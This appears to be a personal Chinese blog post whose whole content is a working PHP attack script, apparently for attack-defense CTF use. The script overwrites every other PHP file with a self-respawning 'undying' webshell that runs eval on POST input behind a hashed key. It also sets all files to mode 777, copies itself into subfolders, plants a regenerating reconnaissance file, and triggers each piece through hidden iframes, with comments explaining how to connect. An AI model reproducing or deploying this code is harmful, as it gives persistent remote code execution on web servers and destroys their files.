个人学习和生活点滴记录
February 19th, 2022
<?php error_reporting(0); //不显示警告 ignore_user_abort(true); set_time_limit(0); header("Content-Type:text/html;charset=UTF-8"); $groupchange = chgrp(__FILE__,$whoami); //将当前所有文件加入当前用户组 $chmodchange = system('chmod -R 777 *'); //当前目录加777权限 //获取当前文件名字 function this_file_name_rootfile() { $self_name_rootfile = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); return $self_name_rootfile; } //列出当前目录下所有文件以及文件夹 $dirs_now = array(); foreach(glob("*") as $d) $dirs_now[] = $d; //向当前目录下的文件夹写RC function dir_copy($file_copy_rootfile) { global $dirs_now; $dir = dirname(__FILE__); for ($count=0;$dirs_now[$count]!=NULL;$count++) if (is_dir($dirs_now[$count])) { $dir_child = $dir.DIRECTORY_SEPARATOR.$dirs_now[$count]; //当前目录下文件夹的路径 if (!file_exists($dir_child.DIRECTORY_SEPARATOR.$file_copy_rootfile)) { copy($file_copy_rootfile,$dir_child.DIRECTORY_SEPARATOR.$file_copy_rootfile); echo '<iframe frameborder="0" hspace="0" vspace="0" src="'.$dirs_now[$count].DIRECTORY_SEPARATOR.$file_copy_rootfile.'" style="display:none"></iframe>'; } } //unlink(__FILE__);//感染完当前目录下所有除开自己外其他可以感染的php文件以及文件夹后删掉自己功成身退溜之大吉逍遥法外 } function Hack($self_write_file_name) //攻击函数 { //攻击语句.不死马使用方法:URL-->http://xxx:port/xxx.php?08067Sec=qwerqwer123ltlt 再蚁剑连接的时候密码为 LTLT $HACK_CONTENT =" <?php \$self_name_rootfile = substr(\$_SERVER['PHP_SELF'],strrpos(\$_SERVER['PHP_SELF'],'/')+1); \$self_name_rootfile_withoutphp_num = strrpos(\$self_name_rootfile,'.'); \$self_name_rootfile_withoutphp_str = substr(\$self_name_rootfile,0,\$self_name_rootfile_withoutphp_num); \$num=0; \$num_exist = \$num-1; ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); \$file = \$self_name_rootfile_withoutphp_str.'_'.\$num.'.php'; \$code = '<?php if(md5(\$_GET[\"08067Sec\"])==\"ebffefd3135f863d79d28f440fbdd8d4\"){@eval(\$_POST[LTLT]);} ?>'; while (1) { while(!file_exists(\$file_exist)) { file_put_contents(\$file,\$code); \$num++; \$num_exist++; \$file = \$self_name_rootfile_withoutphp_str.'_'.\$num.'.php'; \$file_exist = \$self_name_rootfile_withoutphp_str.'_'.\$num_exist.'.php'; } if (md5(file_get_contents(\$file_exist)) != md5(\$code)) { file_put_contents(\$file,\$code); } //system('touch -m -d \"2018-12-01 09:10:12\" .3.php'); usleep(3000); ?> "; /** $HACK_CONTENT =" <?php phpinfo();?> "; **/ global $dirs_now; for ($count=0;$dirs_now[$count]!=NULL;$count++) if ((substr(strrchr($dirs_now[$count], '.'), 1) == 'php') && $dirs_now[$count] != $self_write_file_name) { $file_hack_goal = fopen($dirs_now[$count],"w"); fwrite($file_hack_goal,$HACK_CONTENT); fclose($file_hack_goal); echo '<iframe frameborder="0" hspace="0" vspace="0" src="'.$dirs_now[$count].'" style="display:none"></iframe>'; } } function Sentry_tower() { $HACK_CONTENT_Sentry_tower_false = " <?php \$HACK_CONTENT_Sentry_tower_true = \" <?php error_reporting(0); //不显示警告 echo 'Welcome Hacker! The current user is '; \\\$whoami = system('whoami'); //检测当前用户权限 \\\$groupchange = chgrp(__FILE__,\\\$whoami); //将当前所有文件加入当前用户组 \\\$chmodchange = system('chmod -R 777 *'); //当前目录加777权限 if (\\\$groupchange == 1) //检验当前文件用户组更改是否成功 { echo ' These files group changed to '.\\\$whoami.' --*SUCCESSFULLY*--'; //更改文件用户组成功 //调用函数检测文件所属 } else { echo ' Failed to change files group to current user: '.\\\$whoami.''; //更改文件用户组失败 } if (strtoupper(substr(PHP_OS,0,3))==='WIN') { echo 'The current system is WIN'; echo 'I have not write this for WIN!'; //这里写WIN版本的 } else { echo 'The current system is '.strtoupper(substr(PHP_OS,0)); echo '</br>'; if (is_writable(__FILE__)) { echo 'You have permision to write in this path'; } } \\\$dirs_now = array(); foreach(glob(\\\"*\\\") as \\\$d) \\\$dirs_now[] = \\\$d; //获取当前文件名字 function this_file_name_rootfile() { \\\$self_name_rootfile = substr(\\\$_SERVER['PHP_SELF'],strrpos(\\\$_SERVER['PHP_SELF'],'/')+1); return \\\$self_name_rootfile; } //列出当前目录下所有文件(包括文件夹) function allfilename_thispath() { echo '*******************Files in current directory*******************'; echo '*************************Army Ant*************************'; global \\\$dirs_now; \\\$dir = dirname(__FILE__); for (\\\$count=0;\\\$dirs_now[\\\$count]!=NULL;\\\$count++) echo \\\$dirs_now[\\\$count].''; echo '*************************Army Ant*************************'; } //列出可写的文件 function chmodsuccess() { echo '**********These files or directory have permision to write**********'; echo '*************************Army Ant*************************'; global \\\$dirs_now; for (\\\$count=0;\\\$dirs_now[\\\$count] != NULL;\\\$count++) { \\\$chmodfile = is_writable(\\\$dirs_now[\\\$count]); if (\\\$chmodfile == 1) { echo \\\$dirs_now[\\\$count].''; } } echo '*************************Army Ant*************************'; } //列出将会被攻击的文件 function attack_php_goal(\\\$self_write_file_name) { echo '**************Files in These targets will be attacked**************'; echo '*************************Army Ant*************************'; global \\\$dirs_now; for (\\\$count=0;\\\$dirs_now[\\\$count] != NULL;\\\$count++) { if (is_file(\\\$dirs_now[\\\$count]) && \\\$dirs_now[\\\$count] != \\\$self_write_file_name) { if (substr(strrchr(\\\$dirs_now[\\\$count], '.'), 1) == 'php' && is_writable(\\\$dirs_now[\\\$count])) { echo \\\$dirs_now[\\\$count].''; } } } echo '*************************Army Ant*************************'; } allfilename_thispath();//显示当前目录所有文件与文件夹 chmodsuccess();//更改文件读写权限 attack_php_goal(this_file_name_rootfile());//显示当前目录所有有权限被攻击的php文件 echo '</br>'; echo '*************************Army Ant*************************'; echo '************************ Version 3.0 ************************'; echo '***************** Written by 08067Sec_LTLT *****************'; ?> \"; ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); \$num=0; \$num_exist = \$num-1; \$file = 'Sentry_tower_'.\$num.'.php'; while (1) { while(!file_exists(\$file_exist)) { file_put_contents(\$file,\$HACK_CONTENT_Sentry_tower_true); \$num++; \$num_exist++; \$file = 'Sentry_tower_'.\$num.'.php'; \$file_exist = 'Sentry_tower_'.\$num_exist.'.php'; } file_put_contents(\$file_exist,\$HACK_CONTENT_Sentry_tower_true); usleep(100); } ?> "; $file_Sentry_tower_shell = fopen('build_Sentry_tower.php',a); fwrite($file_Sentry_tower_shell,$HACK_CONTENT_Sentry_tower_false); fclose($file_Sentry_tower_shell); echo '<iframe frameborder="0" hspace="0" vspace="0" src="build_Sentry_tower.php" style="display:none"></iframe>'; } //先检测当前服务器win还是linux if (strtoupper(substr(PHP_OS,0,3))==='WIN') { echo 'The current system is WIN'; echo 'I have not write this for WIN!'; //这里写WIN版本的 } else { //这里调用有权限写的文件的函数 Hack(this_file_name_rootfile());//向当前目录下的除了自己的所有php文件内写入不死马Pro以及唤醒他们 dir_copy(this_file_name_rootfile());//向当前目录下的文件夹写RC并唤醒他们 Sentry_tower();//在当前目录下生成哨塔文件 } echo "<a href='Sentry_tower_0.php'>( ‘▽′)ψHACKINGψ(‘▽′ )</a>"; ?>
